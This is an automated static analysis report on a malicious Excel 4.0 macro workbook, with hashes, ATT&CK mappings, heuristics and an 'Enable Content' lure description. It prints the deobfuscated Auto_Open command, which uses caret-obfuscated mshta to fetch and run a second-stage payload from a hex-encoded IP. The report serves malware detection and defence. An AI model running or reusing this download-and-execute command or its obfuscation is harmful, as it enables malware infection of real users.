Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 85ed651687dfa3e7…

MALICIOUS

Office (OLE) / .XLS

65.4 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 54f7852d44c5783905fd5b5ae0408289 SHA-1: 00ba0cfdfa3cc86603e00ae6547e2ce7892e8125 SHA-256: 85ed651687dfa3e77c5d52da9542b48fb85a9319e598aba7f3a7b4c2dc5e7a3b
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.005 Service Execution: Visual Basic T1105 Ingress Tool Transfer

The sample is an Excel 4.0 macro sheet (XLM) that contains an Auto_Open macro. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content' to view the content, indicating a lure. The extracted macro code reconstructs a command: 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html'. This command is designed to download and execute a second-stage payload from the specified URL.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes

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